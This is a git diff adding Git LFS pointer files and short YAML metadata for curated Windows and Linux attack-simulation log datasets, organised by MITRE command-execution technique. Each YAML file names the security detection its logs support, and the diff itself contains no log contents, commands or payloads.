@@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:820b94b2bfc79281850531d0908bcedd9e0e0fbd33ef54360cc9364d95885a84 +size 925 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/empire-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/empire-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..541865efb --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/empire-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:073f2744f990daebc6a0b8c2f77eb623bd2f631de03c698c85835043f848a43a +size 2837 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/enumeration-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/enumeration-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..cf35166d6 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/enumeration-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:21c32a0b654312ae181b42f9c573c6d8de2e9534cba579c4e568543a109c5d20 +size 2777 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/frombase64string-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/frombase64string-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..c4310c080 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/frombase64string-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:13640434934fcec8c177cc437b5810d13ad0e908e7466a243d94acd49e0850d0 +size 28895 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/getdc-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/getdc-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..45713cc0b --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/getdc-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:19f47bf683f15e43d0bee6c229a22610dd12b6c868c126cb97e96e8a656a400a +size 930 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/getdomainuser-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/getdomainuser-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..50f295154 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/getdomainuser-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5fb96689ee4c94c9b3a648e057ccc634665128cc09955c259b2e0c4faae0da8d +size 944 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/getlocalgroup-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/getlocalgroup-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..3928cc6be --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/getlocalgroup-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7d0980265daf4f26b1f9ef6bb6306887f37287b071049bf94ba5166bbd26baa2 +size 1865 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/nettcpconnection-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/nettcpconnection-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..99319b4eb --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/nettcpconnection-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:59a6f9cd4047dbe2c0efd837ebc41035f872e0b92319d9e362aba2380a75d6f7 +size 930 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/pswa_powershell-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/pswa_powershell-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..258c84915 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/pswa_powershell-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:22c6d6263b5adeeb827292872a89b06c52ee6d9a0c4fe1854d6dfd9bacc584a6 +size 4382 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/reconusingwmi-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/reconusingwmi-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..2d22db805 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/reconusingwmi-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:180af343fdac86a895b80b3850292efe5e9a5f7d71e6745e3f8a747f3a7d0081 +size 28894 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/reflection-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/reflection-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..834e88d61 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/reflection-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a84b435695cce5ac96f69915aad208b221c2fb7fa981549876218fed2569ce94 +size 1284 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/sbl_xml-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/sbl_xml-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..2c6c0879e --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/sbl_xml-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bc6e2a0d606984e2df54cdb9fa6410d2b4855d7f930daf5cbfcd494fd65ca6bc +size 19980 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/single_event_delete_shadowcopy-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/single_event_delete_shadowcopy-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..6e195309f --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/single_event_delete_shadowcopy-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9f9fe79cdc8923b9f94600cfb498abc360e91b7b3df10e8ea5cb32135a58f172 +size 988 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/streamreader-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/streamreader-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..34767d22d --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/streamreader-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:71c0d1f05e89d1f7c8eb1403c0f61d7b27a4f5abfed5bde0951488a597ce01f9 +size 1162 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/win32process-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/win32process-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..ba2ab4e82 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/win32process-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e501011a01c92becc4ea2d9aec8dad9196e503bcab8d7c725477fefe9c65140e +size 1967 diff --git a/datasets/attack_techniques/T1059.001/powershell_script_block_logging/windows-powershell-xml-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/windows-powershell-xml-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log new file mode 100644 index 000000000..564ce36e4 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/powershell_script_block_logging/windows-powershell-xml-f31cd79e-6aee-4c2f-b3e5-98a1ee59bc58.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:aa25d4a135fe668210478de9616418ce00d79a12a5f0efb62c33c80b2104af4f +size 5003 diff --git a/datasets/attack_techniques/T1059.001/sharphound/T1059.001_sharphound.yml b/datasets/attack_techniques/T1059.001/sharphound/T1059.001_sharphound.yml new file mode 100644 index 000000000..62b129093 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/sharphound/T1059.001_sharphound.yml @@ -0,0 +1,13 @@ +author: STRT +id: 58665617-bbd2-45f7-a7fe-f1911d32a446 +date: '2026-07-10' +description: Curated attack data generated for detection Detect AzureHound Command-Line + Arguments +environment: attack_range +directory: sharphound +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1059.001/sharphound/windows-sysmon-58665617-bbd2-45f7-a7fe-f1911d32a446.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.001/sharphound/windows-sysmon-58665617-bbd2-45f7-a7fe-f1911d32a446.log b/datasets/attack_techniques/T1059.001/sharphound/windows-sysmon-58665617-bbd2-45f7-a7fe-f1911d32a446.log new file mode 100644 index 000000000..7c64be601 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/sharphound/windows-sysmon-58665617-bbd2-45f7-a7fe-f1911d32a446.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:87681ef82c684315eba9f69113939c75446bd498b9a15eac3ecf938ba406ae0d +size 86635 diff --git a/datasets/attack_techniques/T1059.001/snapattack/T1059.001_snapattack.yml b/datasets/attack_techniques/T1059.001/snapattack/T1059.001_snapattack.yml new file mode 100644 index 000000000..75b410053 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/snapattack/T1059.001_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 58ac2b61-e6f8-4f49-8570-7921e98b9b87 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Crowdstrike RTR Script + Execution +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1059.001/snapattack/snapattack-58ac2b61-e6f8-4f49-8570-7921e98b9b87.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.001/snapattack/snapattack-58ac2b61-e6f8-4f49-8570-7921e98b9b87.log b/datasets/attack_techniques/T1059.001/snapattack/snapattack-58ac2b61-e6f8-4f49-8570-7921e98b9b87.log new file mode 100644 index 000000000..3a51eb7c6 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/snapattack/snapattack-58ac2b61-e6f8-4f49-8570-7921e98b9b87.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:963164300573cd12a5a8d075704b8b4c7e787d79a0bbaf6a5543bcb386adb0f1 +size 2668 diff --git a/datasets/attack_techniques/T1059.001/soaphound/T1059.001_soaphound.yml b/datasets/attack_techniques/T1059.001/soaphound/T1059.001_soaphound.yml new file mode 100644 index 000000000..084989a78 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/soaphound/T1059.001_soaphound.yml @@ -0,0 +1,13 @@ +author: STRT +id: ab846795-0ee1-4dde-9c67-c98df035f37d +date: '2026-07-11' +description: Curated attack data generated for detection Network Traffic to Active + Directory Web Services Protocol +environment: attack_range +directory: soaphound +mitre_technique: [] +datasets: +- name: sysmon_soaphound + path: /datasets/attack_techniques/T1059.001/soaphound/sysmon_soaphound-ab846795-0ee1-4dde-9c67-c98df035f37d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.001/soaphound/sysmon_soaphound-ab846795-0ee1-4dde-9c67-c98df035f37d.log b/datasets/attack_techniques/T1059.001/soaphound/sysmon_soaphound-ab846795-0ee1-4dde-9c67-c98df035f37d.log new file mode 100644 index 000000000..e30da12b6 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/soaphound/sysmon_soaphound-ab846795-0ee1-4dde-9c67-c98df035f37d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:eeb05ce7cb4d9b867099b63bbdee2cec242c85cf5e74cfc285bb2b48f3aa03bf +size 28284 diff --git a/datasets/attack_techniques/T1059.001/threat_allow_switch/T1059.001_threat_allow_switch.yml b/datasets/attack_techniques/T1059.001/threat_allow_switch/T1059.001_threat_allow_switch.yml new file mode 100644 index 000000000..78285f9eb --- /dev/null +++ b/datasets/attack_techniques/T1059.001/threat_allow_switch/T1059.001_threat_allow_switch.yml @@ -0,0 +1,13 @@ +author: STRT +id: cebe8af9-3552-4802-847e-e5e58e6a7059 +date: '2026-07-10' +description: Curated attack data generated for detection Powershell Defender Threat + Actions Set to Allow +environment: attack_range +directory: threat_allow_switch +mitre_technique: [] +datasets: +- name: threat_allow_salat + path: /datasets/attack_techniques/T1059.001/threat_allow_switch/threat_allow_salat-cebe8af9-3552-4802-847e-e5e58e6a7059.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.001/threat_allow_switch/threat_allow_salat-cebe8af9-3552-4802-847e-e5e58e6a7059.log b/datasets/attack_techniques/T1059.001/threat_allow_switch/threat_allow_salat-cebe8af9-3552-4802-847e-e5e58e6a7059.log new file mode 100644 index 000000000..edc9fa916 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/threat_allow_switch/threat_allow_salat-cebe8af9-3552-4802-847e-e5e58e6a7059.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6c159030a75b4d82862dc0ad8b60d97d553fcb0f79d8a00cb72738cc7192e70c +size 2573 diff --git a/datasets/attack_techniques/T1059.001/vip_env_var_execution/T1059.001_vip_env_var_execution.yml b/datasets/attack_techniques/T1059.001/vip_env_var_execution/T1059.001_vip_env_var_execution.yml new file mode 100644 index 000000000..999331788 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/vip_env_var_execution/T1059.001_vip_env_var_execution.yml @@ -0,0 +1,13 @@ +author: STRT +id: 37d472b8-b09b-4737-9188-5e0cee9b3c23 +date: '2026-07-10' +description: Curated attack data generated for detection PowerShell Environment Variable + Execution +environment: attack_range +directory: vip_env_var_execution +mitre_technique: [] +datasets: +- name: env_vip_pwh_intl + path: /datasets/attack_techniques/T1059.001/vip_env_var_execution/env_vip_pwh_intl-37d472b8-b09b-4737-9188-5e0cee9b3c23.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1059.001/vip_env_var_execution/env_vip_pwh_intl-37d472b8-b09b-4737-9188-5e0cee9b3c23.log b/datasets/attack_techniques/T1059.001/vip_env_var_execution/env_vip_pwh_intl-37d472b8-b09b-4737-9188-5e0cee9b3c23.log new file mode 100644 index 000000000..af7164373 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/vip_env_var_execution/env_vip_pwh_intl-37d472b8-b09b-4737-9188-5e0cee9b3c23.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6bf09c4547ab76883e81d79e9b4bbd5cf965f919f6afd9bedad15ad38e61efd0 +size 22781 diff --git a/datasets/attack_techniques/T1059.001/vip_injection_pwh/T1059.001_vip_injection_pwh.yml b/datasets/attack_techniques/T1059.001/vip_injection_pwh/T1059.001_vip_injection_pwh.yml new file mode 100644 index 000000000..a931c572e --- /dev/null +++ b/datasets/attack_techniques/T1059.001/vip_injection_pwh/T1059.001_vip_injection_pwh.yml @@ -0,0 +1,13 @@ +author: STRT +id: ee2b674a-9e5b-467d-927d-9b41a7745729 +date: '2026-07-10' +description: Curated attack data generated for detection PowerShell PInvoke Process + Injection API Chain +environment: attack_range +directory: vip_injection_pwh +mitre_technique: [] +datasets: +- name: pwh_net_inline + path: /datasets/attack_techniques/T1059.001/vip_injection_pwh/pwh_net_inline-ee2b674a-9e5b-467d-927d-9b41a7745729.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1059.001/vip_injection_pwh/pwh_net_inline-ee2b674a-9e5b-467d-927d-9b41a7745729.log b/datasets/attack_techniques/T1059.001/vip_injection_pwh/pwh_net_inline-ee2b674a-9e5b-467d-927d-9b41a7745729.log new file mode 100644 index 000000000..974c996d6 --- /dev/null +++ b/datasets/attack_techniques/T1059.001/vip_injection_pwh/pwh_net_inline-ee2b674a-9e5b-467d-927d-9b41a7745729.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:41cfee836c0d4e575d8f047fdbd8dd295653b4c0d525bca53632ca62cbb93c88 +size 8226 diff --git a/datasets/attack_techniques/T1059.003/atomic_red_team/T1059.003_atomic_red_team.yml b/datasets/attack_techniques/T1059.003/atomic_red_team/T1059.003_atomic_red_team.yml new file mode 100644 index 000000000..05ea0846a --- /dev/null +++ b/datasets/attack_techniques/T1059.003/atomic_red_team/T1059.003_atomic_red_team.yml @@ -0,0 +1,17 @@ +author: STRT +id: f0a470d6-3f31-4f13-b3da-b07573e0b654 +date: '2026-07-11' +description: Curated attack data generated for detection Windows PowerShell Invoke-Sqlcmd + Execution +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: invokesqlcmd_powershell + path: /datasets/attack_techniques/T1059.003/atomic_red_team/invokesqlcmd_powershell-f0a470d6-3f31-4f13-b3da-b07573e0b654.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: sqlcmd_windows_sysmon + path: /datasets/attack_techniques/T1059.003/atomic_red_team/sqlcmd_windows_sysmon-f0a470d6-3f31-4f13-b3da-b07573e0b654.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.003/atomic_red_team/invokesqlcmd_powershell-f0a470d6-3f31-4f13-b3da-b07573e0b654.log b/datasets/attack_techniques/T1059.003/atomic_red_team/invokesqlcmd_powershell-f0a470d6-3f31-4f13-b3da-b07573e0b654.log new file mode 100644 index 000000000..898084ff1 --- /dev/null +++ b/datasets/attack_techniques/T1059.003/atomic_red_team/invokesqlcmd_powershell-f0a470d6-3f31-4f13-b3da-b07573e0b654.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:788b9c4872fc6d79dd86984fcb299fac0e1831b2b762975b30863ba21f719e1c +size 580724 diff --git a/datasets/attack_techniques/T1059.003/atomic_red_team/sqlcmd_windows_sysmon-f0a470d6-3f31-4f13-b3da-b07573e0b654.log b/datasets/attack_techniques/T1059.003/atomic_red_team/sqlcmd_windows_sysmon-f0a470d6-3f31-4f13-b3da-b07573e0b654.log new file mode 100644 index 000000000..f0398c94e --- /dev/null +++ b/datasets/attack_techniques/T1059.003/atomic_red_team/sqlcmd_windows_sysmon-f0a470d6-3f31-4f13-b3da-b07573e0b654.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c71b567c0ea812df73a65d4a1d5f0858cd29c94b8d2b4cb6b08eb482619366b3 +size 14453 diff --git a/datasets/attack_techniques/T1059.003/cmd_spawns_cscript/T1059.003_cmd_spawns_cscript.yml b/datasets/attack_techniques/T1059.003/cmd_spawns_cscript/T1059.003_cmd_spawns_cscript.yml new file mode 100644 index 000000000..9bf0b7d4a --- /dev/null +++ b/datasets/attack_techniques/T1059.003/cmd_spawns_cscript/T1059.003_cmd_spawns_cscript.yml @@ -0,0 +1,13 @@ +author: STRT +id: 74425edf-b3ec-4049-ba83-bc1e71de8649 +date: '2026-07-10' +description: Curated attack data generated for detection Detect Use of cmd exe to + Launch Script Interpreters +environment: attack_range +directory: cmd_spawns_cscript +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1059.003/cmd_spawns_cscript/windows-sysmon-74425edf-b3ec-4049-ba83-bc1e71de8649.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.003/cmd_spawns_cscript/windows-sysmon-74425edf-b3ec-4049-ba83-bc1e71de8649.log b/datasets/attack_techniques/T1059.003/cmd_spawns_cscript/windows-sysmon-74425edf-b3ec-4049-ba83-bc1e71de8649.log new file mode 100644 index 000000000..22a215c27 --- /dev/null +++ b/datasets/attack_techniques/T1059.003/cmd_spawns_cscript/windows-sysmon-74425edf-b3ec-4049-ba83-bc1e71de8649.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b3e98bad27d2c6873f7e4917f51e0a15db62818c73b9b5e07d1280f9ba14230c +size 6971 diff --git a/datasets/attack_techniques/T1059.003/powershell_spawn_cmd/T1059.003_powershell_spawn_cmd.yml b/datasets/attack_techniques/T1059.003/powershell_spawn_cmd/T1059.003_powershell_spawn_cmd.yml new file mode 100644 index 000000000..0422236ae --- /dev/null +++ b/datasets/attack_techniques/T1059.003/powershell_spawn_cmd/T1059.003_powershell_spawn_cmd.yml @@ -0,0 +1,13 @@ +author: STRT +id: 31f0d91b-08c3-473f-a073-0f5659efe46f +date: '2026-07-10' +description: Curated attack data generated for detection Detect Prohibited Applications + Spawning cmd exe +environment: attack_range +directory: powershell_spawn_cmd +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1059.003/powershell_spawn_cmd/windows-sysmon-31f0d91b-08c3-473f-a073-0f5659efe46f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.003/powershell_spawn_cmd/windows-sysmon-31f0d91b-08c3-473f-a073-0f5659efe46f.log b/datasets/attack_techniques/T1059.003/powershell_spawn_cmd/windows-sysmon-31f0d91b-08c3-473f-a073-0f5659efe46f.log new file mode 100644 index 000000000..e3a38f4ce --- /dev/null +++ b/datasets/attack_techniques/T1059.003/powershell_spawn_cmd/windows-sysmon-31f0d91b-08c3-473f-a073-0f5659efe46f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8373d47ba186c81362a17a351d5766a7d5aa77314e1f40ebf394c09073e9b1dd +size 6250 diff --git a/datasets/attack_techniques/T1059.003/ryuk/T1059.003_ryuk.yml b/datasets/attack_techniques/T1059.003/ryuk/T1059.003_ryuk.yml new file mode 100644 index 000000000..2f533a019 --- /dev/null +++ b/datasets/attack_techniques/T1059.003/ryuk/T1059.003_ryuk.yml @@ -0,0 +1,12 @@ +author: STRT +id: 9bd17e80-177f-49b2-a99e-414fc705d776 +date: '2026-07-11' +description: Curated attack data generated for detection Ryuk Wake on LAN Command +environment: attack_range +directory: ryuk +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1059.003/ryuk/windows-sysmon-9bd17e80-177f-49b2-a99e-414fc705d776.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.003/ryuk/windows-sysmon-9bd17e80-177f-49b2-a99e-414fc705d776.log b/datasets/attack_techniques/T1059.003/ryuk/windows-sysmon-9bd17e80-177f-49b2-a99e-414fc705d776.log new file mode 100644 index 000000000..c3dc427d6 --- /dev/null +++ b/datasets/attack_techniques/T1059.003/ryuk/windows-sysmon-9bd17e80-177f-49b2-a99e-414fc705d776.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8c2914be748b9709eb461db905a9b46727a3b4ed1a553294aa65fa5ad3a48b64 +size 6016 diff --git a/datasets/attack_techniques/T1059.003/snapattack/T1059.003_snapattack.yml b/datasets/attack_techniques/T1059.003/snapattack/T1059.003_snapattack.yml new file mode 100644 index 000000000..6e725ee4a --- /dev/null +++ b/datasets/attack_techniques/T1059.003/snapattack/T1059.003_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: d76fb538-f447-4cff-a304-91a384073101 +date: '2026-07-11' +description: Curated attack data generated for detection Windows File Association + Modification via Ftype +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1059.003/snapattack/snapattack-d76fb538-f447-4cff-a304-91a384073101.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1059.003/snapattack/snapattack-d76fb538-f447-4cff-a304-91a384073101.log b/datasets/attack_techniques/T1059.003/snapattack/snapattack-d76fb538-f447-4cff-a304-91a384073101.log new file mode 100644 index 000000000..ad96cda4a --- /dev/null +++ b/datasets/attack_techniques/T1059.003/snapattack/snapattack-d76fb538-f447-4cff-a304-91a384073101.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fd8797b5dbbbae51565039d5f9f9f50432a1c906adaedcaace0a29f2645fac9d +size 1549 diff --git a/datasets/attack_techniques/T1059.004/linux_discovery_tools/T1059.004_linux_discovery_tools.yml b/datasets/attack_techniques/T1059.004/linux_discovery_tools/T1059.004_linux_discovery_tools.yml new file mode 100644 index 000000000..829cdfc6e --- /dev/null +++ b/datasets/attack_techniques/T1059.004/linux_discovery_tools/T1059.004_linux_discovery_tools.yml @@ -0,0 +1,13 @@ +author: STRT +id: 851a598e-51bc-4a40-adc9-2cd4ef8c4dc4 +date: '2026-07-11' +description: Curated attack data generated for detection Suspicious Linux Discovery + Commands +environment: attack_range +directory: linux_discovery_tools +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1059.004/linux_discovery_tools/sysmon_linux-851a598e-51bc-4a40-adc9-2cd4ef8c4dc4.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1059.004/linux_discovery_tools/sysmon_linux-851a598e-51bc-4a40-adc9-2cd4ef8c4dc4.log b/datasets/attack_techniques/T1059.004/linux_discovery_tools/sysmon_linux-851a598e-51bc-4a40-adc9-2cd4ef8c4dc4.log new file mode 100644 index 000000000..a70b63553 --- /dev/null +++ b/datasets/attack_techniques/T1059.004/linux_discovery_tools/sysmon_linux-851a598e-51bc-4a40-adc9-2cd4ef8c4dc4.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:332be690b30a65bf8518fc6050058173f8b9a6b1436a43aafc7fabe3c34fc566 +size 93681 diff --git a/datasets/attack_techniques/T1059.005/discord_dnsquery/T1059.005_discord_dnsquery.yml b/datasets/attack_techniques/T1059.005/discord_dnsquery/T1059.005_discord_dnsquery.yml new file mode 100644 index 000000000..2f163acea --- /dev/null +++ b/datasets/attack_techniques/T1059.005/discord_dnsquery/T1059.005_discord_dnsquery.yml @@ -0,0 +1,13 @@ +author: STRT +id: c4065433-725b-4e1d-87ff-559a08a594d4 +date: '2026-07-13' +description: Curated attack data generated for detection Suspicious Process With Discord + DNS Query +environment: attack_range +directory: discord_dnsquery +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1059.005/discord_dnsquery/sysmon-c4065433-725b-4e1d-87ff-559a08a594d4.log + sourcetype: XmlWinEventLog + 